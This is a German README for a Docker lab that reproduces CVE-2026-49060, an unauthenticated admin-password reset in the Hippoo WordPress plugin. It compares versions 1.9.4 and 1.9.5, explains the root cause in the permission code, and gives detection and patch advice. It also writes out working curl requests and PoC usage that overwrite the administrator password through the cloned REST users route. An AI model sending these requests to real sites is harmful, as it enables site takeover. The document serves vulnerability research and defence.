rootdirective-sec/cve-2026-49060-labDocker-basiertes Labor zur Reproduktion von CVE-2026-49060, einer nicht authentifizierten Privilegienausweitung im Hippoo Mobile App für WooCommerce WordPress Plugin. Vergleicht anfällige 1.9.4 und gepatchte 1.9.5 Versionen mithilfe eines Python PoC.
Dieses Repository enthält ein lokales Docker-Lab zur Reproduktion und Validierung von CVE-2026-49060, einer Schwachstelle durch falsche Berechtigungszuweisung, die das WordPress-Plugin Hippoo Mobile App for WooCommerce betrifft.
Das anfällige Verhalten wird über Hippoos geklonten REST-API-Namensraum offengelegt:```text /wc-hippoo/v1/ext/
Im verwundbaren Ziel kann ein nicht authentifizierter Besucher auf eine geklonte WordPress-REST-Benutzerroute zugreifen und das Passwort des Administrator-Benutzers durch eine nicht authentifizierte HTTP-Anfrage aktualisieren. Im gepatchten Ziel wird dieselbe Anfrage mit `403 Forbidden` blockiert.
This lab compares two Hippoo versions:
| Dienst | Hippoo-Version | Zweck | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Verwundbares Vergleichsziel | `http://localhost:8081` |
| `patched` | 1.9.5 | Gepatchtes Vergleichsziel | `http://localhost:8082` |
Die demonstrierte Schwachstellenkette ist:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Dieses Labor validiert das Authorisierungsverhalten der verwundbaren im Vergleich zur gepatchten Version unter Verwendung von Hippoo 1.9.4 und Hippoo 1.9.5.
Das Labor ist absichtlich auf lokale Docker-Dienste beschränkt. Es zielt nicht auf externe Systeme ab und enthält keine Persistenz, Web-Shells, Malware oder externe Rückrufe.
Dieses Labor verwendet Hippoo 1.9.4 als verwundbares Vergleichsziel, da öffentliche Sicherheitshinweise Versionen bis einschließlich 1.9.4 als betroffen identifizieren.
Dieses Labor verwendet Hippoo 1.9.5 als gepatchtes Vergleichsziel, da die Metadaten der öffentlichen Sicherheitshinweise 1.9.5 als die korrigierte Version für den demonstrierten betroffenen Bereich identifizieren.
Der öffentliche CVE-2026-49060-Eintrag beschreibt das Problem auf hoher Ebene als 'Incorrect Privilege Assignment / Privilege Escalation'. Dieses Labor konzentriert sich auf das beobachtbare Authorisierungsverhalten in Hippoo 1.9.4 und vergleicht es mit Hippoo 1.9.5.
Die Zusammenfassung der Ursachen in dieser README basiert auf einem Quellvergleich zwischen den im Labor verwendeten verwundbaren und gepatchten Hippoo-Versionen.
Dieses Labor beansprucht nicht, jede Hippoo-Route zu testen. Es konzentriert sich auf die geklonte WordPress-Benutzer-REST-Route:```text /wc-hippoo/v1/ext/wp/v2/users/
Das Labor demonstriert nicht:
* Persistenz,
* Web-Shell-Upload,
* willkürliche Befehlsausführung,
* externe Rückrufe,
* Schadsoftware-Verhalten,
* Angriffe gegen Nicht-Lab-Systeme,
* oder Aktivitäten nach der Kompromittierung, die über die lokale Passwortaktualisierungsvalidierung hinausgehen.
## Zusammenfassung der Grundursache
Die Grundursache ist ein Berechtigungslogikfehler in Hippoos Rollen- und Berechtigungsverwaltung.
Hippoo stellt geklonte WordPress- und WooCommerce-REST-Routen unter seinem eigenen Namensraum bereit:```text
/wc-hippoo/v1/ext/
Das Route-Cloning-Verhalten ist sicherheitsrelevant, da die geklonte Route die Autorisierungsanforderungen der ursprünglichen Route bewahren oder verstärken muss. Wenn die geklonte Route einen permissiven Berechtigungs-Callback erhält, könnten nicht authentifizierte Benutzer möglicherweise auf REST-Endpunkte zugreifen, die Authentifizierung und Autorisierung erfordern sollten.
Das relevante Route-Cloning-Verhalten folgt diesem Muster:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
Das beabsichtigte Sicherheitsmodell ist:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
Das anfällige Verhalten tritt auf, weil Hippoo 1.9.4 denselben Rückgabewert für zwei verschiedene Zustände verwendet:```text
administrator / unrestricted access
unauthenticated visitor / no user
In Hippoo `1.9.4` gibt der permission helper `null` zurück, wenn kein eingeloggter WordPress-Benutzer vorhanden ist:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
Die anfällige Version behandelt auch null als erlaubt:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Dies erzeugt den anfälligen Datenfluss:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
Das Problem liegt nicht einfach darin, dass eine REST-Route existiert. Das Problem ist, dass die Berechtigungsentscheidung einen nicht authentifizierten Besucher fälschlicherweise als uneingeschränkt behandeln kann.
Die gepatchte Version trennt diese Zustände.
In Hippoo 1.9.5 geben nicht authentifizierte Besucher false statt null zurück:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
Der gepatchte Autorisierungscheck lehnt dann explizit `false` ab:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Die sicherheitsrelevante Änderung ist:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
Deshalb zeigt das Labor:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
Der Patch ändert die Bedeutung der Rückgabewerte von Berechtigungen.
In der verwundbaren Version:```text null means administrator/full access null also means unauthenticated/no user
In der gepatchten Version:```text
null means administrator/full access
false means unauthenticated/no role/no access
Die wichtige Quellcode-Änderung im Berechtigungshelfer ist:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
Die Autorisierungsentscheidung wird ebenfalls geändert:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Dieser Patch entfernt nicht Hippoos Route-Cloning-Funktion. Stattdessen behebt er die Vertrauensgrenze bei der Berechtigungsbewertung. Die Sicherheitslektion aus dem Patch ist:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Sicherheitssensitive Berechtigungsfunktionen sollten unterschiedliche Werte für unterschiedliche Zustände verwenden:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
Das Labor betreibt zwei isolierte WordPress-Installationen mittels Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
Die beiden WordPress-Dienste verwenden separate Datenbanken und separate Plugin-Versionen:
| Service | Komponente | Version / Rolle |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | anfällige Zielanwendung |
| `patched` | WordPress + WooCommerce + Hippoo | gepatchte Zielanwendung |
| `db-vuln` | MariaDB | Datenbank für anfälliges Ziel |
| `db-patched` | MariaDB | Datenbank für gepatchtes Ziel |
| `init-vuln` | WordPress-Initialisierungsdienst | initialisiert anfälliges Ziel |
| `init-patched` | WordPress-Initialisierungsdienst | initialisiert gepatchtes Ziel |
Standardmäßig bereitgestellte Dienste:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
Das Labor verwendet festgelegte Hippoo-Versionen:
| Ziel | Hippoo-Version | Erwartetes Verhalten |
|---|---|---|
http://localhost:8081 | 1.9.4 | nicht authentifizierter Route für geklonte Benutzer ist erlaubt |
http://localhost:8082 | 1.9.5 | nicht authentifizierter Route für geklonte Benutzer ist blockiert |
Das Labor installiert WooCommerce, da Hippoo in WooCommerce REST-Klassen und -Routen integriert ist.
Es ist kein Python-Paket von Drittanbietern erforderlich. Der PoC verwendet ausschließlich Module der Python-Standardbibliothek.
Starten Sie das Labor aus einem sauberen Zustand:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Dienststatus überprüfen:```bash
docker compose ps
Erwartete gesunde Dienste:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Überprüfen Sie die Webanwendungen:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Führen Sie eine schreibgeschützte Validierung für beide Ziele durch:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Führen Sie eine aktive lokale Validierung gegen beide Ziele durch:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Aktive Validierung mit einem expliziten Passwort ausführen:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC Nutzung
Übergeben Sie eine oder mehrere lokale Ziel-URLs als Positionsargumente:```bash
python3 poc/poc.py <target_url> [target_url...]
Beispiele:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Der Standardmodus ist schreibgeschützt. Es sendet eine nicht authentifizierte `GET`-Anfrage an die Route der geklonten Benutzer und berichtet, ob der Zugriff erlaubt oder blockiert ist.
Unterstützte Optionen:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Beispiel für aktive Validierung:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
Das PoC akzeptiert nur Loopback-/lokale Ziele:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
Es lehnt nicht-lokale Ziele grundsätzlich ab.
Befehl:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Erwartetes anfälliges Zielsignal:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Erwartetes gepatchtes Zielsignal:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Erwartete Zusammenfassung:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Befehl:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Erwartetes verwundbares Zielsignal:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Erwartetes gepatchtes Zielsignal:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Die aktive Validierung ändert nur das einmalige WordPress-Administrator-Passwort im lokalen verwundbaren Laborziel.
Standard-Anmeldeinformationen des lokalen Labors vor der aktiven Validierung:```text
Username: admin
Password: AdminPass123!
Standardpasswort nach erfolgreicher aktiver Validierung auf dem verwundbaren Ziel:```text Username: admin Password: Cve49060LabPass123!
## Wie die Validierung funktioniert
Der Validator entdeckt zuerst die WordPress REST API.
Einige WordPress-Umgebungen machen REST-Routen über pretty Permalinks zugänglich:```text
/wp-json/
Andere stellen sie zuverlässiger durch den query-string fallback zur Verfügung:```text /?rest_route=/
Der Validator probiert beide Formen und verwendet diejenige, die einen JSON REST Index zurückgibt.
Nach der REST Discovery sucht er nach der Hippoo cloned users route:```text
/wc-hippoo/v1/ext/wp/v2/users
Dann führt es eine schreibgeschützte, nicht authentifizierte GET-Anfrage durch:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Erwartetes verwundbares Verhalten:```text
HTTP 200 OK
JSON user object returned
Erwartetes gepatchtes Verhalten:```text HTTP 403 Forbidden JSON rest_forbidden error returned
Wenn `--update-password` aktiviert ist, sendet der Validator eine nicht authentifizierte POST-Anfrage:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Erwartetes anfälliges Verhalten:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Erwartetes gepatchtes Verhalten:```text
HTTP 403 Forbidden
The update is blocked.
Der wichtige Unterschied liegt nicht darin, ob die Route existiert. Die Route existiert in beiden Versionen. Der Sicherheitsunterschied besteht darin, ob eine nicht authentifizierte Anfrage sie aufrufen darf.
Schreibgeschützte verwundbare Probe:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Erwartetes Ergebnis:```text
HTTP/1.1 200 OK
Content-Type: application/json
Schreibgeschützte gepatchte Sonde:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Erwartetes Ergebnis:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Aktive anfällige Sonde:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Erwartetes Ergebnis:```text
HTTP/1.1 200 OK
Aktive gepatchte Probe:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Erwartetes Ergebnis:```text
HTTP/1.1 403 Forbidden
Das anfällige Verhalten ermöglicht nicht authentifizierten Zugriff auf geklonte REST-Routen unter Hippoos Namensraum.
Die am meisten sicherheitskritische demonstrierte Route ist die geklonte WordPress-Benutzerroute:```text /wc-hippoo/v1/ext/wp/v2/users/
Im anfälligen lokalen Ziel kann eine nicht authentifizierte Anfrage das Passwort des Administrators aktualisieren. Dies zeigt die Auswirkung einer Kontoübernahme im kontrollierten Labor.
Potenzielle Auswirkungen in der realen Welt, abhängig von der Standortkonfiguration und exponierten Routen, umfassen:
* unbefugter Zugriff auf sensible REST-API-Daten,
* Administrator-Kontoübernahme,
* Privilegienerweiterung,
* unbefugte Änderung von WordPress-Benutzerdatensätzen,
* und vollständige Kompromittierung der Website nach Erlangung des Administratorzugriffs.
Dieses Labor demonstriert nur den Autorisierungsfehler und die Aktualisierung des lokalen Administratorpassworts. Es beinhaltet keine Post-Authentifizierungs-Ausnutzung, Plugin-Bearbeitung, Code-Ausführung, Persistenz oder destruktive Aktionen.
## Erkennung und Überwachung
Zu den potenziellen Indikatoren gehören nicht authentifizierte Anfragen an Hippoo's geklonten REST-Namespace:```text
/wc-hippoo/v1/ext/
Hochrisiko-Routenmuster:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Verdächtige Indikatoren:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Beispiel-Zugriffslog-Muster:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Empfohlene Überwachungsmaßnahmen:
* Prüfen Sie die Zugriffslogs des Webservers auf `/wc-hippoo/v1/ext/`.
* Prüfen Sie die WordPress-Authentifizierungslogs auf unerwartete Administrator-Anmeldungen.
* Prüfen Sie die WordPress-Benutzerdatensätze auf kürzliche Passwortänderungen.
* Prüfen Sie die E-Mail-Adressen, Rollen und Erstellungszeitstempel von Administrator-Konten.
* Prüfen Sie die Änderungszeitpunkte von Plugin-/Theme-Dateien, falls eine Administratorübernahme vermutet wird.
* Überwachen Sie REST-API-Anfragen, die `200 OK` an nicht authentifizierte Benutzer zurückgeben, obwohl eine Autorisierung erforderlich sein sollte.
## Gegenmaßnahmen und Patch-Hinweise
Aktualisieren Sie Hippoo Mobile App for WooCommerce auf eine gepatchte Version.
Bezogen auf den spezifischen Lab-Vergleich: Hippoo `1.9.5` blockiert das gezeigte Verhalten der unauthentifizierten Klon-Benutzer-Route, das in `1.9.4` möglich war.
Für Produktionsumgebungen aktualisieren Sie auf die neueste verfügbare Version, anstatt nur auf die im Lab-Vergleich genannte Version zu gehen.
Empfohlene Schritte zur Gegenmaßnahme:
* Aktualisieren Sie Hippoo Mobile App for WooCommerce auf die neueste verfügbare gepatchte Version.
* Stellen Sie sicher, dass die installierte Version neuer als der betroffene Bereich ist.
* Prüfen Sie, ob `/wc-hippoo/v1/ext/` öffentlich zugänglich ist.
* Setzen Sie Administrator-Passwörter zurück, falls eine Ausnutzung vermutet wird.
* Prüfen Sie WordPress-Administrator-Konten auf unbefugte Änderungen.
* Prüfen Sie die Webserver-Zugriffslogs auf nicht authentifizierte Anfragen an geklonte REST-Routen.
* Deaktivieren Sie das Plugin vorübergehend, falls eine sofortige Aktualisierung nicht möglich ist.
* Verwenden Sie eine WAF oder virtuelles Patching als temporäre Schicht, nicht als Ersatz für eine Aktualisierung.
Sicherheitsentwicklungskenntnisse:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Containerstatus überprüfen:```bash docker compose ps
Initialisierungsprotokolle prüfen:```bash
docker compose logs init-vuln init-patched
Webdienste prüfen:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Führen Sie eine schreibgeschützte Validierung durch:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Führe aktive Validierung durch:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Aktive Plugins überprüfen:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Hippoo-Versionen überprüfen:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Überprüfen Sie die Berechtigungslogik im anfälligen Ziel:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Untersuchen Sie die Berechtigungslogik im gepatchten Ziel:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Validierungsnachweis speichern:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Container und Netzwerke stoppen und entfernen:```bash docker compose down --remove-orphans
Container, Netzwerke und Volumes entfernen:```bash
docker compose down -v --remove-orphans
Lokale Beweismitteldateien entfernen, falls erstellt:```bash rm -rf evidence/
## Sicherheitsgrenzen
Dieses Labor dient nur der lokalen Sicherheitsforschung und kontrollierten Demonstration.
Führen Sie den PoC oder manuelle curl-Anfragen nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Verwenden Sie in diesem Labor keine echten Produktionsanmeldedaten, echte Kundendaten oder Produktionsgeheimnisse.
Der vorgesehene Umfang ist auf lokale Docker-Dienste wie Folgendes beschränkt:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Der PoC ist absichtlich HTTP-only und auf den lokalen Bereich beschränkt. Er ruft weder Docker, Docker Compose, WP-CLI noch Container-APIs auf.
Der aktive Validierungsmodus ändert das Passwort nur für den ausgewählten WordPress-Benutzer innerhalb des wegwerfbaren lokalen Labortargets.
Das Labor enthält keine Payloads für:
Das Ziel ist es, eine spezifische technische Bedingung in einer kontrollierten Umgebung zu demonstrieren:```text unauthenticated request
## Referenzen
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce Plugin <= 1.9.4 Privilege Escalation
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org Plugin: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API Handbook: Routes and Endpoints
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP Web Security Testing Guide: Testing for Authorization Bypass
https://owasp.org/www-project-web-security-testing-guide/
| Behauptung | Nachweis | Wie in diesem Labor zu überprüfen |
|---|
CVE-2026-49060 betrifft die Hippoo Mobile App für WooCommerce bis Version 1.9.4. | Öffentliche Sicherheitshinweise identifizieren Hippoo <= 1.9.4 / bis 1.9.4 als betroffen. | Überprüfen Sie den Abschnitt 'References' und vergleichen Sie die vuln-Dienstversion. |
Hippoo 1.9.5 wird als gepatchtes Vergleichsziel verwendet. | Die Metadaten der öffentlichen Sicherheitshinweise identifizieren 1.9.5 als gepatchte Version für den betroffenen Bereich. | Führen Sie docker compose logs init-vuln init-patched aus und bestätigen Sie die initialisierten Plugin-Versionen. |
| Das verwundbare Verhalten wird über Hippoo's geklonten REST-Namespace bereitgestellt. | Hippoo registriert externe REST-Routen unter /wc-hippoo/v1/ext/ erneut. | Führen Sie python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 aus. |
Hippoo 1.9.4 erlaubt in diesem Labor unauthentifizierten Zugriff auf die geklonte Benutzerroute. | Der PoC des Labors erhält 200 OK von http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Führen Sie den schreibgeschützten Validierungsbefehl gegen 8081 aus. |
Hippoo 1.9.5 blockiert die gleiche unauthentifizierte Anfrage in diesem Labor. | Der PoC des Labors erhält 403 Forbidden von http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Führen Sie den schreibgeschützten Validierungsbefehl gegen 8082 aus. |
| Das verwundbare Ziel kann in diesem lokalen Labor das Administratorkennwort durch eine unauthentifizierte POST-Anfrage aktualisieren. | Der aktive PoC erhält 200 OK vom verwundbaren Ziel, wenn --update-password verwendet wird. | Führen Sie python3 poc/poc.py --update-password http://127.0.0.1:8081 aus. |
| Das gepatchte Ziel blockiert die unauthentifizierte Kennwortaktualisierungsanfrage. | Hippoo 1.9.5 gibt eine 'Forbidden'-Antwort für die gleiche geklonte Benutzerroute zurück. | Führen Sie eine aktive Validierung gegen beide Ziele durch. |
| Der PoC ist HTTP-only. | poc/poc.py sendet nur HTTP-Anfragen und ruft keine Docker-, WP-CLI- oder Container-APIs auf. | Überprüfen Sie poc/poc.py. |